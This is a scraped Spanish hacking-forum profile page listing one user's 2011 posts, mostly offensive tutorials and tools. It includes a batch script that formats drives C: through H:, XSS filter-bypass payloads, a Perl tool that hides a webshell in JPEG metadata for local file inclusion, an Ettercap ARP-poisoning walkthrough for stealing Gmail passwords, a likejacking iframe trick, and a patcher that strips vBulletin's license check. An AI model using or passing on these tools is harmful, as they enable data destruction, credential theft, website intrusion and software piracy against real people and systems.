Autor: alexro1089
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#181
Seguridad Wireless / [Video] Crackeando WPA - Backtrack 4
Julio 18, 2011, 03:48:55 PMAutor: alexro1089
#182
Pentesting / [Video] Explotando Apache Tomcat 5.5 + Acceso Root + Escalación de Privilegios
Julio 18, 2011, 03:09:22 PMExploiting Apache Tomcat server 5.5 on Metasploitable and gaining root access on Ubuntu by using the Debian OpenSSL Predictable PRNG SSH Keys privilege escalation
Autor: Nishant Das Patnaik.
#183
Pentesting / [Video] Guía de Metasploit - Servidor Samba - Acceso Root [Episodio III]
Julio 18, 2011, 03:02:16 PMCVE 2007-2447
The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.
Explotando un servidor Samba con acceso a privilegios de Root
Autor: Japtron
#184
Pentesting / [Video] Guía de Metasploit - PostgreSQL + SSH [Episodio II]
Julio 18, 2011, 02:58:57 PMDemostración de un ataque PostgreSQL y luego, una intrusión mediante SSH.
Autor: Japtron
#185
Pentesting / [Video] Guía de Metasploit - Distccd + Escalación de Privilegios [Episodio I]
Julio 18, 2011, 02:56:42 PMCVE 2004-2687
distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
CVE 2009-1185
udev before 1.4.1 does not verify whether a NETLINK message originates from kernel space, which allows local users to gain privileges by sending a NETLINK message from user space.
Autor: Japtron
#186
Dudas y pedidos generales / Re:me aconsejarian
Julio 18, 2011, 01:46:13 PM
C++ es orientado a objetos, si no lo es, se llama C.
Te aconsejo investigar más sobre como trabajan estas herramientas, y no me digas que buscaste o que no hay información porque esta LLENO de información y de gente que pregunta lo mismo.
Saludos!
Te aconsejo investigar más sobre como trabajan estas herramientas, y no me digas que buscaste o que no hay información porque esta LLENO de información y de gente que pregunta lo mismo.
Saludos!
#187
Desarrollo y modificación de malwares / Re:Codigos Maliciosos en Batch
Julio 18, 2011, 01:41:49 PMformat c:
if exist format d:
if exist format e:
if exist format f:
if exist format d:
if exist format e:
if exist format f:
if exist format g:
if exist format h:
if exist format g:
if exist format h:Podría simplificarse todo eso con un FOR.
Con mensaje de error o suceso:
FOR %%x IN (
"C:", "D:", "E:", "F:", "G:", "H:"
) DO (
IF NOT EXIST %%~x (
ECHO. El dispositivo %%~x no existe
) ELSE (
FORMAT %%~x
) ECHO. Dispositivo %%~x formateado
PAUSE
EXITSin los mensajes (versión simplificada de la original):
FOR %%x IN (
"C:", "D:", "E:", "F:", "G:", "H:"
) DO (
FORMAT %%~x
) PAUSE
EXITAún así, la unidad C:\ estaría siendo usada por el sistema operativo, o sea cual sea la que se esté usando, no podría ser formateada ya que Windows te lo impide. Para eso se simula una nueva unidad y se ejecuta este archivo desde ella.
Saludos compañero, bonitos codigos!
#188
Batch - Bash / Re:「Aprendiendo a usar FOR」~ Principiantes ~ By JaAViEr!★
Julio 17, 2011, 11:38:04 PM
Excelente aporte compañero, 100% entendible.
Fijado!
Fijado!
#189
Dudas y pedidos generales / Re:Ayuda con Scan
Julio 17, 2011, 11:09:45 PM #190
Bugs y Exploits / Clickjacking + Facebook = Likejacking
Julio 17, 2011, 08:11:32 PM
Clickjacking + Facebook = Likejacking
En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema nada mejor que hacerlo con esta técnica bautizada como "Likejacking" (en referencia al botón "Like" de Facebook). El Likejacking ha sido carne de noticiario, saliendo en televisión y periódicos recientemente, por lo que me parece algo adecuado para entrar en materia.
El concepto es una combinación de un ataque de clickjacking (creo que ya publiqué algo por el blog en su momento) con los Social Plugins de FB. Se trata de que al clickar un video, o cualquier parte de una web, en realidad estemos clickando un botón de "Like" en forma de iframe invisible, por lo que aparecerá en nuestro muro como que "Nos gusta" esa web. Esto puede dar pie a que algún amigo nuestro también clicke sobre la web que supuestamente nos gusta, y también caiga en la trampa, extendiendose la plaga.
Normalmente se suelen identificar estos enlaces fraudulentos por que tienen nombres o descripciones bastante morbosos y que despiertan esa curiosidad innata en el hombre, de ahí el éxito de su extensión entre los amigos de una persona cuyo FB ha sido "infectado". En lo personal me recuerda a aquellos virus que se extendían vía MSN y que para clickar en el enlace ponían mensajes del tipo "Mira mis últimas fotos en la playa desnuda" y cosas al estilo.
Además del spam y la publicidad gratis que se puede conseguir con esta técnica, los creadores de malware lo están empleando para su distribución, con trucos tan viejos (y todavía efectivos) como hacer que el incauto visitante se descargue un plug-in (hete aquí el malware) para poder visualizar contenido.
El problema es tan generalizado debido a que un elevado número de usuarios de redes sociales por comodidad mantienen las sesiones abiertas a través de cookies que no expiran en vez de cerra sesión y loguearse otra vez cada vez que quieran hacer uso de FB. Amén de las personas que tienen el FB abierto durante todo el día.
El código para poner un "Like" en tu web es bastante simple, con un iframe similar a:
Código: html5
Todos los parámetros se pueden modificar (en la propia web de Facebook explican cada uno en detalle). Con este iframe base se puede trabajar para dejarlo invisible (opacity: 0) y además colocarlo en algún punto clave donde el usuario vaya a clickar obligatoriamente. Por supuesto se puede ir más lejos, ofuscando el código por ejemplo.
Autor: The X-C3LL
En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema nada mejor que hacerlo con esta técnica bautizada como "Likejacking" (en referencia al botón "Like" de Facebook). El Likejacking ha sido carne de noticiario, saliendo en televisión y periódicos recientemente, por lo que me parece algo adecuado para entrar en materia.
El concepto es una combinación de un ataque de clickjacking (creo que ya publiqué algo por el blog en su momento) con los Social Plugins de FB. Se trata de que al clickar un video, o cualquier parte de una web, en realidad estemos clickando un botón de "Like" en forma de iframe invisible, por lo que aparecerá en nuestro muro como que "Nos gusta" esa web. Esto puede dar pie a que algún amigo nuestro también clicke sobre la web que supuestamente nos gusta, y también caiga en la trampa, extendiendose la plaga.
Normalmente se suelen identificar estos enlaces fraudulentos por que tienen nombres o descripciones bastante morbosos y que despiertan esa curiosidad innata en el hombre, de ahí el éxito de su extensión entre los amigos de una persona cuyo FB ha sido "infectado". En lo personal me recuerda a aquellos virus que se extendían vía MSN y que para clickar en el enlace ponían mensajes del tipo "Mira mis últimas fotos en la playa desnuda" y cosas al estilo.
Además del spam y la publicidad gratis que se puede conseguir con esta técnica, los creadores de malware lo están empleando para su distribución, con trucos tan viejos (y todavía efectivos) como hacer que el incauto visitante se descargue un plug-in (hete aquí el malware) para poder visualizar contenido.
El problema es tan generalizado debido a que un elevado número de usuarios de redes sociales por comodidad mantienen las sesiones abiertas a través de cookies que no expiran en vez de cerra sesión y loguearse otra vez cada vez que quieran hacer uso de FB. Amén de las personas que tienen el FB abierto durante todo el día.
El código para poner un "Like" en tu web es bastante simple, con un iframe similar a:
<iframe
src="http://www.facebook.com/plugins/like.php?href=Tu-sitio-web;layout=button_count&show_faces=true&width=100&action=like&font=arial&colorscheme=light"
scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:100px; height:px"></iframe>Todos los parámetros se pueden modificar (en la propia web de Facebook explican cada uno en detalle). Con este iframe base se puede trabajar para dejarlo invisible (opacity: 0) y además colocarlo en algún punto clave donde el usuario vaya a clickar obligatoriamente. Por supuesto se puede ir más lejos, ofuscando el código por ejemplo.
Autor: The X-C3LL
#191
Bugs y Exploits / [XSS] Bypassing de Magics Quotes y otros filtros
Julio 17, 2011, 08:08:56 PM
[XSS] Bypassing de Magics Quotes y otros filtros
Introducción
Para comenzar, repasemos la definición de qué es un XSS...
"XSS es un ataque basado en explotar vulnerabilidades del sistema de validación de HTML incrustado. Su nombre original "Cross Site Scripting", y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o javascript, en el contexto de otro dominio."
Es decir, la vulnerabilidad del XSS consiste en poder poder inyectar código HTML o código de cualquier lenguaje scripting (JavaScript, VBscript, etc) que nuestro navegador interpretará, o en el caso de que sea XSS persistente (por ejemplo un XSS a nivel foro o a nivel de GuestBook, donde el código permanece) dentro del propio archivo vulnerable. La importancia de este ataque reside, en por ejemplo, el robo de cookies, u otras acciones...
Pero, los webmasters crean filtros para evitar que usuarios maliciosos puedan inyectar códigos que exploten esta vulnerabilidad. Llegamos así a las llamadas magic quotes, pequeños filtros que evitan el uso de las comillas y de /, transofrmándolas en \ o en \".
También existen otros filtros, los cuales imposibilitan el uso de caracteres no numéricos, etc, en este texto os vamos a dar algunas ideas de como soltear estos incovenientes.
Luchando contra las Magic Quotes
Para empezar, por simple lógica, si la web cuenta con magics quotes, los tags de HTML basados en elementos que necesiten de un cierre con </tag>, porque al sustituir nuestra /, el tag dejaría de funcionar.
Es por ello que debemos de acudir a aquellos elementos vacios tipo <img>. En el caso de usar <img> forzaremos la ejecución de código malicioso aprovechando el elemento onerror, que a parte de permitir ejecutar código maligno, no necesita ser cerrado. Para poder utilizarlo, necesitaremos forzar un error en el tag que lo englobe. En nuestro caso hemos dicho que ibamos a utilizar <img>.
El error que vamos a utilizar es la imposibilidad de cargar una imagen, porque la ruta no es válida. Podríamos hacerlo de esta forma:
Código: javascript
Como la ruta "." no permitirá cargar una imagen, dará error y se ejecutará lo que pongamos en onerror (en este caso el típico alert). Como podemos ver ya hemos saltado esta magic quote y podemos ejecutar lo que queramos.
Bypasseando filtros de caracteres especiales y no numéricos
Existen otros filtros que sustituyen, o directamente no permiten, introducir caracteres especiales, como las comillas, o letras. Para poder ejecutar nuestros código maligno, tenemos un pequeño abanico de posibilidades, desde usar UNICODE (valor en Hexadecimal del carácter con un % delante de cada carácter), pasando por usar el valor ascii. Existe una función en javascript encargada de hacer esto a la inversa: pasar de ascii a caracter. Esta funcion es String.fromCharCode.
Su uso es muy sencillo, simplemente se colocan los caracteres en valor ascii separados por comas. Tal que así:
Código: javascript
Siendo X, Y, Z, los valores. Veamos por ejemplo como sería el texto "XSS":
Código: javascript
Para usarlo junto con nuestro alert, simplemente lo introducimos entre () del alert.
Conclusión
Como hemos podido ver, el bypassing de filtros no es algo fijo, sino que se necesita de una cierta imaginación para poder manejarnos dentro del pequeño espacio que nos deja nuestro filtro. En mi opinión lo mejor es usar HTMLENTITIES para evitar ejecutar código html.
Por último decir que esta obra está bajo licencia de Creative Commons, lo que quiere decir que está permitida su distribución, pero manteniendo su autor original, y esas cosas.
Bibliografía
Autor: The X-C3LL
Introducción
Para comenzar, repasemos la definición de qué es un XSS...
"XSS es un ataque basado en explotar vulnerabilidades del sistema de validación de HTML incrustado. Su nombre original "Cross Site Scripting", y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o javascript, en el contexto de otro dominio."
Es decir, la vulnerabilidad del XSS consiste en poder poder inyectar código HTML o código de cualquier lenguaje scripting (JavaScript, VBscript, etc) que nuestro navegador interpretará, o en el caso de que sea XSS persistente (por ejemplo un XSS a nivel foro o a nivel de GuestBook, donde el código permanece) dentro del propio archivo vulnerable. La importancia de este ataque reside, en por ejemplo, el robo de cookies, u otras acciones...
Pero, los webmasters crean filtros para evitar que usuarios maliciosos puedan inyectar códigos que exploten esta vulnerabilidad. Llegamos así a las llamadas magic quotes, pequeños filtros que evitan el uso de las comillas y de /, transofrmándolas en \ o en \".
También existen otros filtros, los cuales imposibilitan el uso de caracteres no numéricos, etc, en este texto os vamos a dar algunas ideas de como soltear estos incovenientes.
Luchando contra las Magic Quotes
Para empezar, por simple lógica, si la web cuenta con magics quotes, los tags de HTML basados en elementos que necesiten de un cierre con </tag>, porque al sustituir nuestra /, el tag dejaría de funcionar.
Es por ello que debemos de acudir a aquellos elementos vacios tipo <img>. En el caso de usar <img> forzaremos la ejecución de código malicioso aprovechando el elemento onerror, que a parte de permitir ejecutar código maligno, no necesita ser cerrado. Para poder utilizarlo, necesitaremos forzar un error en el tag que lo englobe. En nuestro caso hemos dicho que ibamos a utilizar <img>.
El error que vamos a utilizar es la imposibilidad de cargar una imagen, porque la ruta no es válida. Podríamos hacerlo de esta forma:
<img src=. onerror=alert(69)>Como la ruta "." no permitirá cargar una imagen, dará error y se ejecutará lo que pongamos en onerror (en este caso el típico alert). Como podemos ver ya hemos saltado esta magic quote y podemos ejecutar lo que queramos.
Bypasseando filtros de caracteres especiales y no numéricos
Existen otros filtros que sustituyen, o directamente no permiten, introducir caracteres especiales, como las comillas, o letras. Para poder ejecutar nuestros código maligno, tenemos un pequeño abanico de posibilidades, desde usar UNICODE (valor en Hexadecimal del carácter con un % delante de cada carácter), pasando por usar el valor ascii. Existe una función en javascript encargada de hacer esto a la inversa: pasar de ascii a caracter. Esta funcion es String.fromCharCode.
Su uso es muy sencillo, simplemente se colocan los caracteres en valor ascii separados por comas. Tal que así:
String.fromCharCode(X, Y, Z)Siendo X, Y, Z, los valores. Veamos por ejemplo como sería el texto "XSS":
String.fromCharCode(88,83,83)Para usarlo junto con nuestro alert, simplemente lo introducimos entre () del alert.
Conclusión
Como hemos podido ver, el bypassing de filtros no es algo fijo, sino que se necesita de una cierta imaginación para poder manejarnos dentro del pequeño espacio que nos deja nuestro filtro. En mi opinión lo mejor es usar HTMLENTITIES para evitar ejecutar código html.
Por último decir que esta obra está bajo licencia de Creative Commons, lo que quiere decir que está permitida su distribución, pero manteniendo su autor original, y esas cosas.
Bibliografía
- Los poderes Secretos del XSS
- Rompiendo barreras: Analizando la fuente y encontrando XSS's
Autor: The X-C3LL
#192
Bugs y Exploits / LFI: Inyector de Webshells en imágenes
Julio 17, 2011, 07:54:53 PM####################################################
# 0verLFI v0.2 Coded by The X-C3LL #
####################################################
# Se trata de una herramienta bastante sencilla #
# para inyectar una shell en una imagen JPEG #
# y que esta siga pudiendo ser visualizada #
# correctamente, de esta forma nadie sospecha. #
# Lo único que hace es meter la shell dentro #
# de los metadatos de la foto. #
####################################################
# Gr33tz to Seth & CPH Comunity #
####################################################
# HTTP://0VERL0AD.BLOGSPOT.COM #
####################################################
use Image::ExifTool;
print q(
+-----------------------------------+
0verLFI v0.1 coded by The X-C3LL
Http://0verl0ad.blogspot.com
+-----------------------------------+
);
die "[-]Usage: perl 0verLFI.pl <FILE> <IMAGE>\n" unless @ARGV == 2;
my $file = $ARGV[0];
my $jpeg = $ARGV[1];
print "[+]Image = $jpeg \n";
print "[+]Shell = $file \n";
open (HANDLE, $file);
@array = <HANDLE>;
my $string = join("\n", @array);
my $tool = Image::ExifTool->new();
$tool->ExtractInfo($jpeg);
$tool->SetNewValue("Model", $string);
$done = $tool->WriteInfo($jpeg);Simplemente tienen que pasar la imagen a inyectar como argumento:

Como podeis comprobar, tras modificar los metadatos la imagen continúa viendose perfectamente:

Y si lo testeamos en un entorno local vulnerable veremos que funciona:

Autor: The X-C3LL
Fuente: Foro Portal Hacker
#193
Hacking / [Armitage] Administrador Gráfico de Cyber Ataques para Metasploit
Julio 17, 2011, 07:25:40 PM
Armitage es un Administrador Gráfico de Cyber Ataques para Metasploit que sirve para visualizar gráficamente tus objetivos, el mismo programa te recomienda que exploit usar, expone las opciones avanzadas del framework (esas que comúnmente se nos olvida o no sabemos), desde el mismo Armintage podemos iniciar un análisis con Nmap, e incluso se puede usar el módulo de Brute Force para sacar username/password.

El objetivo de Armitage es hacer Metasploit útil para los profesionales de seguridad que saben hacking, pero no el uso de Metasploit a fondo. Si desean aprender las características avanzadas de Metasploit, Armitage será de gran ayuda.
Es una herramienta impresionante y muy intuitiva, considero que la herramienta viene como anillo al dedo para los usuarios de Windows que están más acostumbrados a usar el mouse que el teclado (no como los usuarios de GNU/Linux que es al revés). Lo mejor de todo es que se encuentra para los 2 sistemas operativos.
Descarga: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

El objetivo de Armitage es hacer Metasploit útil para los profesionales de seguridad que saben hacking, pero no el uso de Metasploit a fondo. Si desean aprender las características avanzadas de Metasploit, Armitage será de gran ayuda.
Es una herramienta impresionante y muy intuitiva, considero que la herramienta viene como anillo al dedo para los usuarios de Windows que están más acostumbrados a usar el mouse que el teclado (no como los usuarios de GNU/Linux que es al revés). Lo mejor de todo es que se encuentra para los 2 sistemas operativos.
Descarga: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#194
Hacking / Manual de Ettercap NG 0.7
Julio 17, 2011, 05:43:00 PM
Contenido:
- Instalación mediante las fuentes.
- Configurar ettercap para el correcto uso de SSL.
- Caso práctico, robando la password de un correo de Gmail.
Instalación mediante las fuentes
Para instalarlo, debemos tener instalado primeramente la librería "libpcre" si no la hemos instalado mediante el código fuente deberemos instalar mediante nuestro gestor de paquetes las fuentes
Seria algo como:
apt-get install libpcre3-dev libpcap0.8-dev libnet0 libnet1-dev libssl-dev ncurses-bin ncurses5-devAsegurate de tener la versión para developers de libpcap > 0.8. libnet > 1.1.2, libpthread y zlib.
Ahora descargamos el ettercap 0.7.3 de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y lo descomprimimos
¿Por qué no hacer un apt-get install ettercap y listo?
Se podría instalar así, y no habría problema alguno pero normalmente las versiones precompiladas de ettercap no tienen todas las opciones y plugins que nosotros utilizaremos por tanto es mejor descargar el paquete de la página oficial y compilarlo a mano.
Una vez descomprimido abrimos la consola en la carpeta donde esta todo, en mi caso en ~/ettercap-NG-0.7.3
y ejecutamos el comando:
./configure --enable-plugins --enable-debugEsto nos preparará el código para ser compilado con todos los plugins y una herramienta para solucionar problemas. Es posible que nos de algún error por falta de dependencias, no problema se instalan y listo.
Recomiendo encarecidamente, que si hemos tenido algún fallo anteriormente con las dependencias borremos la carpeta (nada de make clean) por completo y volvamos a hacer el ./configure --enable-plugins --enable-debug ya que no se muy bien por que a mi me daba un error si no borraba la carpeta al hacer un "make" si no lo hacia todo bien a la primera.
Una vez hemos hecho el ./configure "bien a la primera" obtendremos algo como esto:
==================================================
Install directory: /usr/local
Libraries :
LIBPCAP ................ default
LIBNET ................. default
LIBSSL ................. default
NCURSES ................ default
GTK+ ................... yes
Functionalities :
Debug mode ............. yes
Plugin support ......... yes
Passive DNS ............ yes
Perl regex in filters .. yes
Iconv UTF-8 support .... yes
=================================================Luego seguimos con un make, make install o checkinstall, como queráis.
Bien, ya tenemos instalado ettercap correctamente y listo para ejecutar, tenemos varios modos para ejecutarlo, yo con el que mas me aclaro es ejecutándolo en modo consola, para ello hacemos como ROOT lo siguiente:
ettercap -CConfigurar ettercap para el correcto uso de SSL
Ahora vamos a permitir a ettercap intervenir en las conexiones SSL para hacer de intermediario y así poder ver la información cifrada cuando empecemos a Sniffar, para ello abrimos con nuestro editor favorito el archivo /usr/local/etc y en caso de que usemos iptables (casi seguro) tendremos que ir a la línea donde dice:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"y sustituirla por:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"De esta manera conseguiremos que ettercap intercepte correctamente conexiones SSL
Caso práctico, robando la password de un correo de Gmail
Se que esto de robar passwords de correos puede parecer algo lameril, pero es simplemente para que os hagáis una idea de como podréis usar ettercap para llevar a cabo un sniffado bajo un Swich o Router.
Lo primero de todo es abrir el ettercap, mi manera favorita es hacerlo en consola ya que estoy acostumbrado a verme obligado a trabajar en ordenadores sin interfaces, para ello ejecutamos como ROOT lo siguiente:
ettercap -Cveremos algo como esto:

Ahora vamos a el menú Sniff y seleccionamos Unified sniffing o presionamos la tecla U.
Veremos que todo el menú cambia radicalmente de opciones, bien, pues ahora vamos a decirle a ettercap que nos busque todos ordenadores conectados ahora mismo en la red,para ello vamos al menú Hosts>Scan for host, o bien presionamos Control + s, veremos una pantalla como esta que tras unos segundos desaparecerá:

Bien, una vez ha terminado de buscar los ordenadores conectados a la red es hora de elegir entre que dos equipos queremos conectarnos, en este caso entre el equipo de la víctima (192.168.1.201) y el Router (192.168.1.1), para ello vamos a Hosts>Host List o presionamos la tecla "h" y elegimos el primer equipo y presionamos la tecla 1, después seleccionamos el segundo equipo (en este caso un Router) y presionamos la tecla 2.
Ahora procederemos a decir al ettercap que haga un ataque Man In The Middle por ARP Poisoning, para ello vamos a el menú MITM y seleccionamos "ARP Poisoning" y en parameters escribimos "remote"y pulsamos intro, desde ese momento estamos colocados entre el equipo víctima y el Router, solo nos falta empezar a escanear, para ello vamos al menú Start;Start Sniffing, o pulsamos Control + w. El ettercap empezará a escanear las conexiones que se hacen entre el equipo víctima y el Router, podemos ver estas conexiones yendo a View;Conections, pero ahora vamos a ir al grano, imaginemos que el equipo víctima entra en gmail, bien pues en el campo "User Messages" nos saldrá un mensaje y entre alguna información podremos ver el nombre de Usuario y Password que se uso para entrar. Un Screenshot vale mas que mil palabras. (clic en la imágen para ampliar).

Una vez queramos terminar el Sniffeo y el Man In The Middle tenemos que ir a Start>Stop Sniffing o presionar Control + e, y después ir a MITM>Stop mitm atack (s) y para salir correctamente pulsamos Control+X
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

#195
Pentesting / [Videotuto] Exploit local linux 32 y 64 bits
Julio 17, 2011, 03:46:41 PM #196
Bugs y Exploits / Instalación de VBulletin sin licencias de pago
Julio 17, 2011, 03:27:29 PM
Instalación de VBulletin sin licencias de pago
Primero nos conseguimos los archivos de vbulletín, ahora lo montamos en el servidor normalmente y cuando hagamos nuestro archivo de configuraciones veremos que nos redireccionará hacia http://ejemplo/vbulletin/install/install.php y nos pide un numero de serie asi que si no tenemos ese mágico numero de serie no podremos instalar el sistema.
Vamos al directorio de instalación y hacemos ingeniería inversa, asío como en la electrónica mi profesor siempre me decía que si queremos saber como funciona algo solo debemos recorrer el camino que hace la energía eléctrica, asi que nosotros para saber como hace la validación seguiremos las funciones y las inclusiones en orden una por una.
Abrimos el archivo /install/install.php y encontramos que la única inclusión que hay es hacia require_once('./installsteps.php'); sin anteponer ninguna función y despues finaliza el script asi que dejamos tranquilo ese archivo y nos vamos a editar /install/installsteps.php.
En este archivo lo primero que vemos cuando lo ejecutas es un if con una comparación:
Código: php
No estamos enviando ninguna variable GET asi que se está activando el "else" cuando lo ejecutamos y solo se hacen declaraciones de rutas y la única inclusion que hay es hacia installcore.php pero como sabremos si es ese archivo que hace la validación o es algo mas hacia abajo?
Probamos poniendo "exit;" despues de la inclusion, algo así como:
Código: php
Me sigue apareciendo la pantalla de verificación, asi que le pongo el exit antes de la inclusion:
Código: php
Ahi se queda la pantalla en blanco asi que ya sabemos que la pantalla de validación se está llamando desde ahi, por lo tanto lo abrimos y nos encontramos con esto:
Código: php
Pero ahora como sabremos que archivo es el que autentifica?. Le ponemos un exit al final de todas estas inclusiones para ver si lo hace alguno de estos archivos o se hace mas abajo la validación:
Código: php
Acá vemos que la pantalla sigue apareciendo asi que subimos archivo por archivo:
Código: php
Ahi se queda en blanco, eso quiere decir que autentificate no se alcanzó a ejecutar y ese es el archivo que nos detiene la instalación, por lo tanto dejamos tranquilo estos archivos y nos vamos directamente hacia autentificate.php.
Ahi vemos lo siguiente:
Código: php
Nos está haciendo comparación con nuestro id de licencia asi que lo reemplazamos por esto:
Código: php
Y listo! ya podemos utilizar vbulletín sin tener que pasar pro el sistema de validación de licencias. Ahora si alguien quiere utilizarlo entonces no le haga nada y pague por este buén sistema.
Hagamos un parchador automático:
Código: php
Lo dejas en el directorio de vbulletín y despues lo visualizas, cuando comienze la instalación del sistema lo borras.
Autor: WHK
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Primero nos conseguimos los archivos de vbulletín, ahora lo montamos en el servidor normalmente y cuando hagamos nuestro archivo de configuraciones veremos que nos redireccionará hacia http://ejemplo/vbulletin/install/install.php y nos pide un numero de serie asi que si no tenemos ese mágico numero de serie no podremos instalar el sistema.
Vamos al directorio de instalación y hacemos ingeniería inversa, asío como en la electrónica mi profesor siempre me decía que si queremos saber como funciona algo solo debemos recorrer el camino que hace la energía eléctrica, asi que nosotros para saber como hace la validación seguiremos las funciones y las inclusiones en orden una por una.
Abrimos el archivo /install/install.php y encontramos que la única inclusión que hay es hacia require_once('./installsteps.php'); sin anteponer ninguna función y despues finaliza el script asi que dejamos tranquilo ese archivo y nos vamos a editar /install/installsteps.php.
En este archivo lo primero que vemos cuando lo ejecutas es un if con una comparación:
if ($_GET['step'] > 2 OR $_POST['step'] > 2)
{
require_once('./installcore.php');
// connected to the database now lets load schema
require_once(DIR . '/install/mysql-schema.php');
}
else
{
if ($_ENV['REQUEST_URI'] OR $_SERVER['REQUEST_URI'])
{
$scriptpath = $_SERVER['REQUEST_URI'] ? $_SERVER['REQUEST_URI'] : $_ENV['REQUEST_URI'];
}
else
{
if ($_ENV['PATH_INFO'] OR $_SERVER['PATH_INFO'])
{
$scriptpath = $_SERVER['PATH_INFO'] ? $_SERVER['PATH_INFO']: $_ENV['PATH_INFO'];
}
else if ($_ENV['REDIRECT_URL'] OR $_SERVER['REDIRECT_URL'])
{
$scriptpath = $_SERVER['REDIRECT_URL'] ? $_SERVER['REDIRECT_URL']: $_ENV['REDIRECT_URL'];
}
else
{
$scriptpath = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_ENV['PHP_SELF'];
}
if ($_ENV['QUERY_STRING'] OR $_SERVER['QUERY_STRING'])
{
$scriptpath .= '?' . ($_SERVER['QUERY_STRING'] ? $_SERVER['QUERY_STRING'] : $_ENV['QUERY_STRING']);
}
}
define('SCRIPTPATH', $scriptpath);
define('SKIPDB', true);
require_once('./installcore.php');
}No estamos enviando ninguna variable GET asi que se está activando el "else" cuando lo ejecutamos y solo se hacen declaraciones de rutas y la única inclusion que hay es hacia installcore.php pero como sabremos si es ese archivo que hace la validación o es algo mas hacia abajo?
Probamos poniendo "exit;" despues de la inclusion, algo así como:
require_once('./installcore.php');
exit;Me sigue apareciendo la pantalla de verificación, asi que le pongo el exit antes de la inclusion:
exit;
require_once('./installcore.php');Ahi se queda la pantalla en blanco asi que ya sabemos que la pantalla de validación se está llamando desde ahi, por lo tanto lo abrimos y nos encontramos con esto:
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');Pero ahora como sabremos que archivo es el que autentifica?. Le ponemos un exit al final de todas estas inclusiones para ver si lo hace alguno de estos archivos o se hace mas abajo la validación:
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');
exit;Acá vemos que la pantalla sigue apareciendo asi que subimos archivo por archivo:
require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
exit;
require_once(DIR . '/install/authenticate.php');Ahi se queda en blanco, eso quiere decir que autentificate no se alcanzó a ejecutar y ese es el archivo que nos detiene la instalación, por lo tanto dejamos tranquilo estos archivos y nos vamos directamente hacia autentificate.php.
Ahi vemos lo siguiente:
if ($vbulletin->GPC['bbcustomerid'] !== CUSTOMER_NUMBER)Nos está haciendo comparación con nuestro id de licencia asi que lo reemplazamos por esto:
if (1 == 2)Y listo! ya podemos utilizar vbulletín sin tener que pasar pro el sistema de validación de licencias. Ahora si alguien quiere utilizarlo entonces no le haga nada y pague por este buén sistema.
Hagamos un parchador automático:
<?php
$finstall = 'install/authenticate.php';
if(!$buffer = file_get_contents($finstall)){
die('Imposible obtener el archivo '.$finstall);
}
$payload = '$vbulletin->GPC[\'bbcustomerid\'] !== CUSTOMER_NUMBER';
if(strpos($buffer, $payload) > 0){
$buffer = str_replace($payload, '1==2', $buffer);
if(file_put_contents($finstall, $buffer)){
header('location: /'); /* Procede la instalación */
}else{
die('Imposible sobreescribir el archivo '.$finstall);
}
}else{
die('La versión de VBulletín es incompatible');
}
?>Lo dejas en el directorio de vbulletín y despues lo visualizas, cuando comienze la instalación del sistema lo borras.
Autor: WHK
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#197
Otros lenguajes / Re:[Código-Haskell]Números Pares & Impares - JaAViEr
Julio 17, 2011, 03:34:36 AM
Excelente iniciación con Haskell compañero, sigue así!
#198
Dudas y pedidos generales / Re:Hallar Ip´s de pcs de una red
Julio 16, 2011, 08:19:28 PM
Wireshark.
#199
Bugs y Exploits / Introducción a los Web Application Firewalls (WAF)
Julio 15, 2011, 04:03:55 PMIntroducción a los Web Application Firewalls (WAF)
Se pretende dar una introducción sobre qué es y como funcionan los firewalls para aplicaciones web o WAF.
¿Que es un Web Application Firewall o WAF?
La idea principal al desarrollar una aplicación web, es que, sea disponible desde cualquier lugar y que todo el mundo pueda acceder a ella. Este es el gran factor diferenciador respecto a las aplicaciones de escritorio.
